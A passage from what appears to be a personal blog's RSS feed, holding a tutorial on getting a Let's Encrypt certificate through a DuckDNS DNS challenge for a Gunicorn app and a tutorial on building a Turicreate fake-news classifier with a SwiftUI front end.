			<content:encoded><![CDATA[<h1 id="generating-https-certificate-using-dns-a-challenge-through-lets-encrypt">Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt</h1>

<p>I have a Raspberry-Pi running a Flask app through Gunicorn (Ubuntu 20.04 LTS). I am exposing it to the internet using DuckDNS.</p>

<h2 id="dependencies">Dependencies</h2>

<div class="codehilite">
<pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>certbot<span class="w"> </span>-y
</code></pre>
</div>

<h2 id="get-the-certificate">Get the Certificate</h2>

<div class="codehilite">
<pre><span></span><code>sudo<span class="w"> </span>certbot<span class="w"> </span>certonly<span class="w"> </span>--manual<span class="w"> </span>--preferred-challenges<span class="w"> </span>dns-01<span class="w"> </span>--email<span class="w"> </span>senpai@email.com<span class="w"> </span>-d<span class="w"> </span>mydomain.duckdns.org
</code></pre>
</div>

<p>After you accept that you are okay with you IP address being logged, it will prompt you with updating your dns record. You need to create a new <code>TXT</code> record in the DNS settings for your domain.</p>

<p>For DuckDNS users it is as simple as  entering this URL in their browser:</p>

<pre><code>http://duckdns.org/update?domains=mydomain&amp;token=duckdnstoken&amp;txt=certbotdnstxt
</code></pre>

<p>Where <code>mydomain</code> is your DuckDNS domain, <code>duckdnstoken</code> is your DuckDNS Token ( Found on the dashboard when you login) and <code>certbotdnstxt</code> is the TXT record value given by the prompt.</p>

<p>You can check if the TXT records have been updated by using the <code>dig</code> command:</p>

<div class="codehilite">
<pre><span></span><code>dig<span class="w"> </span>navanspi.duckdns.org<span class="w"> </span>TXT
<span class="p">;</span><span class="w"> </span>&lt;&lt;&gt;&gt;<span class="w"> </span>DiG<span class="w"> </span><span class="m">9</span>.16.1-Ubuntu<span class="w"> </span>&lt;&lt;&gt;&gt;<span class="w"> </span>navanspi.duckdns.org<span class="w"> </span>TXT
<span class="p">;;</span><span class="w"> </span>global<span class="w"> </span>options:<span class="w"> </span>+cmd
<span class="p">;;</span><span class="w"> </span>Got<span class="w"> </span>answer:
<span class="p">;;</span><span class="w"> </span>-&gt;&gt;HEADER<span class="s">&lt;&lt;- opco</span>de:<span class="w"> </span>QUERY,<span class="w"> </span>status:<span class="w"> </span>NOERROR,<span class="w"> </span>id:<span class="w"> </span><span class="m">27592</span>
<span class="p">;;</span><span class="w"> </span>flags:<span class="w"> </span>qr<span class="w"> </span>rd<span class="w"> </span>ra<span class="p">;</span><span class="w"> </span>QUERY:<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>ANSWER:<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>AUTHORITY:<span class="w"> </span><span class="m">0</span>,<span class="w"> </span>ADDITIONAL:<span class="w"> </span><span class="m">1</span>

<span class="p">;;</span><span class="w"> </span>OPT<span class="w"> </span>PSEUDOSECTION:
<span class="p">;</span><span class="w"> </span>EDNS:<span class="w"> </span>version:<span class="w"> </span><span class="m">0</span>,<span class="w"> </span>flags:<span class="p">;</span><span class="w"> </span>udp:<span class="w"> </span><span class="m">65494</span>
<span class="p">;;</span><span class="w"> </span>QUESTION<span class="w"> </span>SECTION:
<span class="p">;</span>navanspi.duckdns.org.<span class="w">        </span>IN<span class="w">    </span>TXT

<span class="p">;;</span><span class="w"> </span>ANSWER<span class="w"> </span>SECTION:
navanspi.duckdns.org.<span class="w">    </span><span class="m">60</span><span class="w">    </span>IN<span class="w">    </span>TXT<span class="w">    </span><span class="s2">&quot;4OKbijIJmc82Yv2NiGVm1RmaBHSCZ_230qNtj9YA-qk&quot;</span>

<span class="p">;;</span><span class="w"> </span>Query<span class="w"> </span>time:<span class="w"> </span><span class="m">275</span><span class="w"> </span>msec
<span class="p">;;</span><span class="w"> </span>SERVER:<span class="w"> </span><span class="m">127</span>.0.0.53#53<span class="o">(</span><span class="m">127</span>.0.0.53<span class="o">)</span>
<span class="p">;;</span><span class="w"> </span>WHEN:<span class="w"> </span>Tue<span class="w"> </span>Nov<span class="w"> </span><span class="m">17</span><span class="w"> </span><span class="m">15</span>:23:15<span class="w"> </span>IST<span class="w"> </span><span class="m">2020</span>
<span class="p">;;</span><span class="w"> </span>MSG<span class="w"> </span>SIZE<span class="w">  </span>rcvd:<span class="w"> </span><span class="m">105</span>
</code></pre>
</div>

<p>DuckDNS almost instantly propagates the changes but for other domain hosts, it could take a while. </p>

<p>Once you can ensure that the TXT record changes has been successfully applied and is visible through the <code>dig</code> command, press enter on the Certbot prompt and your certificate should be generated.</p>

<h2 id="renewing">Renewing</h2>

<p>As we manually generated the certificate <code>certbot renew</code> will fail, to renew the certificate you need to simply re-generate the certificate using the above steps.</p>

<h2 id="using-the-certificate-with-gunicorn">Using the Certificate with Gunicorn</h2>

<p>Example Gunicorn command for running a web-app:</p>

<div class="codehilite">
<pre><span></span><code>gunicorn<span class="w"> </span>api:app<span class="w"> </span>-k<span class="w"> </span>uvicorn.workers.UvicornWorker<span class="w"> </span>-b<span class="w"> </span><span class="m">0</span>.0.0.0:7589
</code></pre>
</div>

<p>To use the certificate with it, simply copy the <code>cert.pem</code> and <code>privkey.pem</code> to your working directory ( change the appropriate permissions ) and include them in the command</p>

<div class="codehilite">
<pre><span></span><code>gunicorn<span class="w"> </span>api:app<span class="w"> </span>-k<span class="w"> </span>uvicorn.workers.UvicornWorker<span class="w"> </span>-b<span class="w"> </span><span class="m">0</span>.0.0.0:7589<span class="w"> </span>--certfile<span class="o">=</span>cert.pem<span class="w"> </span>--keyfile<span class="o">=</span>privkey.pem
</code></pre>
</div>

<p>Caveats with copying the certificate: If you renew the certificate you will have to re-copy the files</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html
			</guid>
			<title>
				Building a Fake News Detector with Turicreate
			</title>
			<description>
				In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app
			</description>
			<link>https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html</link>
			<pubDate>Sun, 22 Dec 2019 11:10:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="building-a-fake-news-detector-with-turicreate">Building a Fake News Detector with Turicreate</h1>

<p><strong>In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app</strong></p>

<p>Note: These commands are written as if you are running a jupyter notebook.</p>

<h2 id="building-the-machine-learning-model">Building the Machine Learning Model</h2>

<h3 id="data-gathering">Data Gathering</h3>

<p>To build a classifier, you need a lot of data. George McIntire (GH: @joolsa) has created a wonderful dataset containing the headline, body and whether it is fake or real.
Whenever you are looking for a dataset, always try searching on Kaggle and GitHub before you start building your own</p>

<h3 id="dependencies">Dependencies</h3>

<p>I used a Google Colab instance for training my model.  If you also plan on using Google Colab then I recommend choosing a GPU Instance (It is Free)
This allows you to train the model on the GPU. Turicreate is built on top of Apache's MXNet Framework, for us to use GPU we need to install
a CUDA compatible MXNet package.</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">!pip</span><span class="na"> install turicreate</span>
<span class="na">!pip uninstall -y mxnet</span>
<span class="na">!pip install mxnet-cu100==1.4.0.post0</span>
</code></pre>
</div>

<p>If you do not wish to train on GPU or are running it on your computer, you can ignore the last two lines</p>

<h3 id="downloading-the-dataset">Downloading the Dataset</h3>

<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> -q &quot;https</span><span class="p">:</span><span class="nc">//github.com/joolsa/fake_real_news_dataset/raw/master/fake_or_real_news.csv.zip&quot;</span>
<span class="nt">!unzip</span><span class="na"> fake_or_real_news.csv.zip</span>
</code></pre>
</div>

<h3 id="model-creation">Model Creation</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>
<span class="n">tc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">set_num_gpus</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># If you do not wish to use GPUs, set it to 0</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">dataSFrame</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="s1">&#39;fake_or_real_news.csv&#39;</span><span class="p">)</span>
</code></pre>
</div>

<p>The dataset contains a column named "X1", which is of no use to us. Therefore, we simply drop it</p>

<div class="codehilite">
<pre><span></span><code><span class="n">dataSFrame</span><span class="o">.</span><span class="n">remove_column</span><span class="p">(</span><span class="s1">&#39;X1&#39;</span><span class="p">)</span>
</code></pre>
</div>

<h4 id="splitting-dataset">Splitting Dataset</h4>

<div class="codehilite">
<pre><span></span><code><span class="n">train</span><span class="p">,</span> <span class="n">test</span> <span class="o">=</span> <span class="n">dataSFrame</span><span class="o">.</span><span class="n">random_split</span><span class="p">(</span><span class="mf">.9</span><span class="p">)</span>
</code></pre>
</div>

<h4 id="training">Training</h4>

<div class="codehilite">
<pre><span></span><code><span class="n">model</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">text_classifier</span><span class="o">.</span><span class="n">create</span><span class="p">(</span>
    <span class="n">dataset</span><span class="o">=</span><span class="n">train</span><span class="p">,</span>
    <span class="n">target</span><span class="o">=</span><span class="s1">&#39;label&#39;</span><span class="p">,</span>
    <span class="n">features</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">,</span><span class="s1">&#39;text&#39;</span><span class="p">]</span>
<span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="o">|</span> <span class="n">Iteration</span> <span class="o">|</span> <span class="n">Passes</span>   <span class="o">|</span> <span class="n">Step</span> <span class="n">size</span> <span class="o">|</span> <span class="n">Elapsed</span> <span class="n">Time</span> <span class="o">|</span> <span class="n">Training</span> <span class="n">Accuracy</span> <span class="o">|</span> <span class="n">Validation</span> <span class="n">Accuracy</span> <span class="o">|</span>
<span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="o">|</span> <span class="mi">0</span>         <span class="o">|</span> <span class="mi">2</span>        <span class="o">|</span> <span class="mf">1.000000</span>  <span class="o">|</span> <span class="mf">1.156349</span>     <span class="o">|</span> <span class="mf">0.889680</span>          <span class="o">|</span> <span class="mf">0.790036</span>            <span class="o">|</span>
<span class="o">|</span> <span class="mi">1</span>         <span class="o">|</span> <span class="mi">4</span>        <span class="o">|</span> <span class="mf">1.000000</span>  <span class="o">|</span> <span class="mf">1.359196</span>     <span class="o">|</span> <span class="mf">0.985952</span>          <span class="o">|</span> <span class="mf">0.918149</span>            <span class="o">|</span>
<span class="o">|</span> <span class="mi">2</span>         <span class="o">|</span> <span class="mi">6</span>        <span class="o">|</span> <span class="mf">0.820091</span>  <span class="o">|</span> <span class="mf">1.557205</span>     <span class="o">|</span> <span class="mf">0.990260</span>          <span class="o">|</span> <span class="mf">0.914591</span>            <span class="o">|</span>
<span class="o">|</span> <span class="mi">3</span>         <span class="o">|</span> <span class="mi">7</span>        <span class="o">|</span> <span class="mf">1.000000</span>  <span class="o">|</span> <span class="mf">1.684872</span>     <span class="o">|</span> <span class="mf">0.998689</span>          <span class="o">|</span> <span class="mf">0.925267</span>            <span class="o">|</span>
<span class="o">|</span> <span class="mi">4</span>         <span class="o">|</span> <span class="mi">8</span>        <span class="o">|</span> <span class="mf">1.000000</span>  <span class="o">|</span> <span class="mf">1.814194</span>     <span class="o">|</span> <span class="mf">0.999063</span>          <span class="o">|</span> <span class="mf">0.925267</span>            <span class="o">|</span>
<span class="o">|</span> <span class="mi">9</span>         <span class="o">|</span> <span class="mi">14</span>       <span class="o">|</span> <span class="mf">1.000000</span>  <span class="o">|</span> <span class="mf">2.507072</span>     <span class="o">|</span> <span class="mf">1.000000</span>          <span class="o">|</span> <span class="mf">0.911032</span>            <span class="o">|</span>
<span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
</code></pre>
</div>

<h3 id="testing-the-model">Testing the Model</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">est_predictions</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test</span><span class="p">)</span>
<span class="n">accuracy</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">evaluation</span><span class="o">.</span><span class="n">accuracy</span><span class="p">(</span><span class="n">test</span><span class="p">[</span><span class="s1">&#39;label&#39;</span><span class="p">],</span> <span class="n">test_predictions</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Topic classifier model has a testing accuracy of </span><span class="si">{</span><span class="n">accuracy</span><span class="o">*</span><span class="mi">100</span><span class="si">}</span><span class="s1">% &#39;</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">Topic</span> <span class="n">classifier</span> <span class="n">model</span> <span class="n">has</span> <span class="n">a</span> <span class="n">testing</span> <span class="n">accuracy</span> <span class="n">of</span> <span class="mf">92.3076923076923</span><span class="o">%</span>
</code></pre>
</div>

<p>We have just created our own Fake News Detection Model which has an accuracy of 92%!</p>

<div class="codehilite">
<pre><span></span><code><span class="n">example_text</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&quot;title&quot;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&quot;Middling ‘Rise Of Skywalker’ Review Leaves Fan On Fence About Whether To Threaten To Kill Critic&quot;</span><span class="p">],</span> <span class="s2">&quot;text&quot;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&quot;Expressing ambivalence toward the relatively balanced appraisal of the film, Star Wars fan Miles Ariely admitted Thursday that an online publication’s middling review of The Rise Of Skywalker had left him on the fence about whether he would still threaten to kill the critic who wrote it. “I’m really of two minds about this, because on the one hand, he said the new movie fails to live up to the original trilogy, which makes me at least want to throw a brick through his window with a note telling him to watch his back,” said Ariely, confirming he had already drafted an eight-page-long death threat to Stan Corimer of the website Screen-On Time, but had not yet decided whether to post it to the reviewer’s Facebook page. “On the other hand, though, he commended J.J. Abrams’ skillful pacing and faithfulness to George Lucas’ vision, which makes me wonder if I should just call the whole thing off. Now, I really don’t feel like camping outside his house for hours. Maybe I could go with a response that’s somewhere in between, like, threatening to kill his dog but not everyone in his whole family? I don’t know. This is a tough one.” At press time, sources reported that Ariely had resolved to wear his Ewok costume while he murdered the critic in his sleep.&quot;</span><span class="p">]}</span>
<span class="n">example_prediction</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">classify</span><span class="p">(</span><span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="n">example_text</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">example_prediction</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="o">+-------+--------------------+</span>
<span class="o">|</span> <span class="k">class</span> <span class="err">|    </span><span class="nc">probability</span>     <span class="o">|</span>
<span class="o">+-------+--------------------+</span>
<span class="o">|</span>  <span class="n">FAKE</span> <span class="o">|</span> <span class="mf">0.9245648658345308</span> <span class="o">|</span>
<span class="o">+-------+--------------------+</span>
<span class="p">[</span><span class="mi">1</span> <span class="n">rows</span> <span class="n">x</span> <span class="mi">2</span> <span class="n">columns</span><span class="p">]</span>
</code></pre>
</div>

<h3 id="exporting-the-model">Exporting the Model</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">model_name</span> <span class="o">=</span> <span class="s1">&#39;FakeNews&#39;</span>
<span class="n">coreml_model_name</span> <span class="o">=</span> <span class="n">model_name</span> <span class="o">+</span> <span class="s1">&#39;.mlmodel&#39;</span>
<span class="n">exportedModel</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">export_coreml</span><span class="p">(</span><span class="n">coreml_model_name</span><span class="p">)</span>
</code></pre>
</div>

<p><strong>Note: To download files from Google Colab, simply click on the files section in the sidebar, right click on filename and then click on download</strong></p>

<p><a rel="noopener" target="_blank" href="https://colab.research.google.com/drive/1onMXGkhA__X2aOFdsoVL-6HQBsWQhOP4">Link to Colab Notebook</a></p>

<h2 id="building-the-app-using-swiftui">Building the App using SwiftUI</h2>

<h3 id="initial-setup">Initial Setup</h3>

<p>First we create a single view app (make sure you check the use SwiftUI button)</p>

<p>Then we copy our .mlmodel file to our project (Just drag and drop the file in the XCode Files Sidebar)</p>

<p>Our ML Model does not take a string directly as an input, rather it takes bag of words as an input.
DescriptionThe bag-of-words model is a simplifying representation used in NLP, in this text is represented as a bag of words, without any regard for grammar or order, but noting multiplicity</p>

<p>We define our bag of words function</p>

<div class="codehilite">
<pre><span></span><code><span class="kd">func</span> <span class="nf">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="p">-&gt;</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nv">bagOfWords</span> <span class="p">=</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]()</span>

        <span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NSLinguisticTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">tokenType</span><span class="p">],</span> <span class="n">options</span><span class="p">:</span> <span class="mi">0</span><span class="p">)</span>
        <span class="kd">let</span> <span class="nv">range</span> <span class="p">=</span> <span class="n">NSRange</span><span class="p">(</span><span class="n">location</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="n">length</span><span class="p">:</span> <span class="n">text</span><span class="p">.</span><span class="n">utf16</span><span class="p">.</span><span class="bp">count</span><span class="p">)</span>
        <span class="kd">let</span> <span class="nv">options</span><span class="p">:</span> <span class="bp">NSLinguisticTagger</span><span class="p">.</span><span class="n">Options</span> <span class="p">=</span> <span class="p">[.</span><span class="n">omitPunctuation</span><span class="p">,</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">]</span>
        <span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">text</span>

        <span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">range</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span> <span class="n">scheme</span><span class="p">:</span> <span class="p">.</span><span class="n">tokenType</span><span class="p">,</span> <span class="n">options</span><span class="p">:</span> <span class="n">options</span><span class="p">)</span> <span class="p">{</span> <span class="kc">_</span><span class="p">,</span> <span class="n">tokenRange</span><span class="p">,</span> <span class="kc">_</span> <span class="k">in</span>
            <span class="kd">let</span> <span class="nv">word</span> <span class="p">=</span> <span class="p">(</span><span class="n">text</span> <span class="k">as</span> <span class="bp">NSString</span><span class="p">).</span><span class="n">substring</span><span class="p">(</span><span class="n">with</span><span class="p">:</span> <span class="n">tokenRange</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
                <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span><span class="o">!</span> <span class="o">+=</span> <span class="mi">1</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="p">=</span> <span class="mi">1</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">bagOfWords</span>
    <span class="p">}</span>
</code></pre>
</div>

<p>We also declare our variables</p>

<div class="codehilite">
<pre><span></span><code><span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">title</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">headline</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertTitle</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertText</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">showingAlert</span> <span class="p">=</span> <span class="kc">false</span>
</code></pre>
</div>

<p>Finally, we implement a simple function which reads the two text fields, creates their bag of words representation and displays an alert with the appropriate result</p>

<p><strong>Complete Code</strong></p>

<div class="codehilite">
<pre><span></span><code><span class="kd">import</span> <span class="nc">SwiftUI</span>

<span class="kd">struct</span> <span class="nc">ContentView</span><span class="p">:</span> <span class="n">View</span> <span class="p">{</span>
    <span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">title</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
    <span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">headline</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>

    <span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertTitle</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
    <span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertText</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
    <span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">showingAlert</span> <span class="p">=</span> <span class="kc">false</span>

    <span class="kd">var</span> <span class="nv">body</span><span class="p">:</span> <span class="n">some</span> <span class="n">View</span> <span class="p">{</span>
        <span class="n">NavigationView</span> <span class="p">{</span>
            <span class="n">VStack</span><span class="p">(</span><span class="n">alignment</span><span class="p">:</span> <span class="p">.</span><span class="n">leading</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">Text</span><span class="p">(</span><span class="s">&quot;Headline&quot;</span><span class="p">).</span><span class="n">font</span><span class="p">(.</span><span class="n">headline</span><span class="p">)</span>
                <span class="n">TextField</span><span class="p">(</span><span class="s">&quot;Please Enter Headline&quot;</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="err">$</span><span class="n">title</span><span class="p">)</span>
                    <span class="p">.</span><span class="n">lineLimit</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
                <span class="n">Text</span><span class="p">(</span><span class="s">&quot;Body&quot;</span><span class="p">).</span><span class="n">font</span><span class="p">(.</span><span class="n">headline</span><span class="p">)</span>
                <span class="n">TextField</span><span class="p">(</span><span class="s">&quot;Please Enter the content&quot;</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="err">$</span><span class="n">headline</span><span class="p">)</span>
                <span class="p">.</span><span class="n">lineLimit</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
            <span class="p">}</span>
                <span class="p">.</span><span class="n">navigationBarTitle</span><span class="p">(</span><span class="s">&quot;Fake News Checker&quot;</span><span class="p">)</span>
            <span class="p">.</span><span class="n">navigationBarItems</span><span class="p">(</span><span class="n">trailing</span><span class="p">:</span>
                <span class="n">Button</span><span class="p">(</span><span class="n">action</span><span class="p">:</span> <span class="n">classifyFakeNews</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">Text</span><span class="p">(</span><span class="s">&quot;Check&quot;</span><span class="p">)</span>
                <span class="p">})</span>
            <span class="p">.</span><span class="n">padding</span><span class="p">()</span>
                <span class="p">.</span><span class="n">alert</span><span class="p">(</span><span class="n">isPresented</span><span class="p">:</span> <span class="err">$</span><span class="n">showingAlert</span><span class="p">){</span>
                    <span class="n">Alert</span><span class="p">(</span><span class="n">title</span><span class="p">:</span> <span class="n">Text</span><span class="p">(</span><span class="n">alertTitle</span><span class="p">),</span> <span class="n">message</span><span class="p">:</span> <span class="n">Text</span><span class="p">(</span><span class="n">alertText</span><span class="p">),</span> <span class="n">dismissButton</span><span class="p">:</span> <span class="p">.</span><span class="k">default</span><span class="p">(</span><span class="n">Text</span><span class="p">(</span><span class="s">&quot;OK&quot;</span><span class="p">)))</span>
            <span class="p">}</span>
        <span class="p">}</span>

    <span class="p">}</span>

    <span class="kd">func</span> <span class="nf">classifyFakeNews</span><span class="p">(){</span>
        <span class="kd">let</span> <span class="nv">model</span> <span class="p">=</span> <span class="n">FakeNews</span><span class="p">()</span>
        <span class="kd">let</span> <span class="nv">myTitle</span> <span class="p">=</span> <span class="n">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="n">title</span><span class="p">)</span>
        <span class="kd">let</span> <span class="nv">myText</span> <span class="p">=</span> <span class="n">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="n">headline</span><span class="p">)</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="kd">let</span> <span class="nv">prediction</span> <span class="p">=</span> <span class="k">try</span> <span class="n">model</span><span class="p">.</span><span class="n">prediction</span><span class="p">(</span><span class="n">title</span><span class="p">:</span> <span class="n">myTitle</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="n">myText</span><span class="p">)</span>
            <span class="n">alertTitle</span> <span class="p">=</span> <span class="n">prediction</span><span class="p">.</span><span class="n">label</span>
            <span class="n">alertText</span> <span class="p">=</span> <span class="s">&quot;It is likely that this piece of news is </span><span class="si">\(</span><span class="n">prediction</span><span class="p">.</span><span class="n">label</span><span class="p">.</span><span class="n">lowercased</span><span class="si">())</span><span class="s">.&quot;</span>
            <span class="bp">print</span><span class="p">(</span><span class="n">alertText</span><span class="p">)</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
            <span class="n">alertTitle</span> <span class="p">=</span> <span class="s">&quot;Error&quot;</span>
            <span class="n">alertText</span> <span class="p">=</span> <span class="s">&quot;Sorry, could not classify if the input news was fake or not.&quot;</span>
        <span class="p">}</span>

        <span class="n">showingAlert</span> <span class="p">=</span> <span class="kc">true</span>
    <span class="p">}</span>
    <span class="kd">func</span> <span class="nf">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="p">-&gt;</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nv">bagOfWords</span> <span class="p">=</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]()</span>

        <span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NSLinguisticTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">tokenType</span><span class="p">],</span> <span class="n">options</span><span class="p">:</span> <span class="mi">0</span><span class="p">)</span>
        <span class="kd">let</span> <span class="nv">range</span> <span class="p">=</span> <span class="n">NSRange</span><span class="p">(</span><span class="n">location</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="n">length</span><span class="p">:</span> <span class="n">text</span><span class="p">.</span><span class="n">utf16</span><span class="p">.</span><span class="bp">count</span><span class="p">)</span>
        <span class="kd">let</span> <span class="nv">options</span><span class="p">:</span> <span class="bp">NSLinguisticTagger</span><span class="p">.</span><span class="n">Options</span> <span class="p">=</span> <span class="p">[.</span><span class="n">omitPunctuation</span><span class="p">,</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">]</span>
        <span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">text</span>

        <span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">range</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span> <span class="n">scheme</span><span class="p">:</span> <span class="p">.</span><span class="n">tokenType</span><span class="p">,</span> <span class="n">options</span><span class="p">:</span> <span class="n">options</span><span class="p">)</span> <span class="p">{</span> <span class="kc">_</span><span class="p">,</span> <span class="n">tokenRange</span><span class="p">,</span> <span class="kc">_</span> <span class="k">in</span>
            <span class="kd">let</span> <span class="nv">word</span> <span class="p">=</span> <span class="p">(</span><span class="n">text</span> <span class="k">as</span> <span class="bp">NSString</span><span class="p">).</span><span class="n">substring</span><span class="p">(</span><span class="n">with</span><span class="p">:</span> <span class="n">tokenRange</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
                <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span><span class="o">!</span> <span class="o">+=</span> <span class="mi">1</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="p">=</span> <span class="mi">1</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">bagOfWords</span>
    <span class="p">}</span>
<span class="p">}</span>

